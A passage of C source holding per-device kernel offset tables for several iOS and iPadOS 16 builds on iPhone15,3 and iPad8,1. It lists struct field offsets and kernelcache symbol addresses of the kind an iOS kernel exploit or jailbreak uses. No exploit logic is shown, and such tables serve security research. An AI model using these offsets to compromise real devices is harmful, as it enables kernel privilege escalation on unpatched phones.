.uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a50da30,\n        .kernelcache__gPhysBase = 0xfffffff0079501b8,\n        .kernelcache__gPhysSize = 0xfffffff0079501b8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00794e390,\n        .kernelcache__perfmon_devices = 0xfffffff00a54b750,\n        .kernelcache__perfmon_dev_open = 0xfffffff007f1e7a8,\n        .kernelcache__ptov_table = 0xfffffff007903280,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a54ab10,\n        .kernelcache__vm_pages = 0xfffffff0078fffc0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007902230,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a54ab08,\n        .kernelcache__vn_kqfilter = 0xfffffff007f6b3b4,\n    },\n    {\n        .kern_version = \"Darwin Kernel Version 22.6.0: Wed Jun 28 20:51:46 PDT 2023; root:xnu-8796.142.1~1/RELEASE_ARM64_T8120\",\n        .build_version = \"20G81\",\n        .device_id = \"iPhone15,3\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .thread__thread_id = 0x418,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a425208,\n        .kernelcache__gPhysBase = 0xfffffff0079382c8,\n        .kernelcache__gPhysSize = 0xfffffff0079382c8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007936480,\n        .kernelcache__perfmon_devices = 0xfffffff00a465300,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ef0a30,\n        .kernelcache__ptov_table = 0xfffffff0078eb8e0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a464790,\n        .kernelcache__vm_pages = 0xfffffff0078e8008,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ea890,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a464788,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3d0e8,\n    },\n    // iPhone 14 Pro Max iOS 16.3 beta 2\n      {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:39:26 PST 2023; root:xnu-8792.80.25.122.5~1/RELEASE_ARM64_T8120\",\n        .build_version = \"20D5035i\",\n        .device_id = \"iPhone15,3\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x648,\n        .thread__task_threads__next = 0x380 - 0x18,\n        .thread__task_threads__prev = 0x380 - 0x18 + 0x8,\n        .thread__map = 0x380,\n        .thread__thread_id = 0x420,\n        .thread__object_size = 0x4c8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a3419c0,\n        .kernelcache__gPhysBase = 0xfffffff007854168,\n        .kernelcache__gPhysSize = 0xfffffff007854168 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007852348,\n        .kernelcache__perfmon_devices = 0xfffffff00a37d5c0,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ed9fc0,\n        .kernelcache__ptov_table = 0xfffffff007807510,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a37c980,\n        .kernelcache__vm_pages = 0xfffffff0078041d0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078064d0,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a37c978,\n        .kernelcache__vn_kqfilter = 0xfffffff007f29ff0,\n    },\n\n\n    //End beta iOS\n\n    // iPad A12X and A12Z\n    // A12X\n    // iPad8,1 16.2\n{\n        .kern_version = \"Darwin Kernel Version 22.1.0: Thu Oct  6 19:33:53 PDT 2022; root:xnu-8792.42.7~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20C65\",\n        .device_id = \"iPad8,1\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x530,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2a9150,\n        .kernelcache__gPhysBase = 0xfffffff00784f9d8,\n        .kernelcache__gPhysSize = 0xfffffff00784f9d8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00784dbc0,\n        .kernelcache__perfmon_devices = 0xfffffff00a2e4300,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec279c,\n        .kernelcache__ptov_table = 0xfffffff007803890,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2e3780,\n        .kernelcache__vm_pages = 0xfffffff0078006c8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007802850,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2e3778,\n        .kernelcache__vn_kqfilter = 0xfffffff007f14d00,\n    },\n\n    //16.3\n       {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20D47\",\n        .device_id = \"iPad8,1\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2b9178,\n        .kernelcache__gPhysBase = 0xfffffff007853d48,\n        .kernelcache__gPhysSize = 0xfffffff007853d48 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007851f28,\n        .kernelcache__perfmon_devices = 0xfffffff00a2f4380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec7398,\n        .kernelcache__ptov_table = 0xfffffff007807288,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2f3800,\n        .kernelcache__vm_pages = 0xfffffff0078040c0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806248,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2f37f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f19a20,\n    },\n\n    //16.3.1\n       {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20D67\",\n        .device_id = \"iPad8,1\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2b9178,\n        .kernelcache__gPhysBase = 0xfffffff007853d48,\n        .kernelcache__gPhysSize = 0xfffffff007853d48 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007851f28,\n        .kernelcache__perfmon_devices = 0xfffffff00a2f4380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec7398,\n        .kernelcache__ptov_table = 0xfffffff007807288,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2f3800,\n        .kernelcache__vm_pages = 0xfffffff0078040c0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806248,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2f37f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f19a20,\n    },\n\n    //16.4\n        {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20E246\",\n        .device_id = \"iPad8,1\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a381208,\n        .kernelcache__gPhysBase = 0xfffffff00792ffa0,\n        .kernelcache__gPhysSize = 0xfffffff00792ffa0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792e178,\n        .kernelcache__perfmon_devices = 0xfffffff00a3bf500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ee9a88,\n        .kernelcache__ptov_table = 0xfffffff0078e3160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3be990,\n        .kernelcache__vm_pages = 0xfffffff0078dfea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e2110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3be988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3863c,\n    },\n\n    //16.4.1\n        {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20E252\",\n        .device_id = \"iPad8,1\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a381208,\n        .kernelcache__gPhysBase = 0xfffffff00792ffa0,\n        .kernelcache__gPhysSize = 0xfffffff00792ffa0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792e178,\n        .kernelcache__perfmon_devices = 0xfffffff00a3bf500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ee9a88,\n        .kernelcache__ptov_table = 0xfffffff0078e3160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3be990,\n        .kernelcache__vm_pages = 0xfffffff0078dfea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e2110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3be988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3863c,\n    },\n\n    //16.5\n        {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:51 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20F66\",\n        .device_id = \"iPad8,1\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        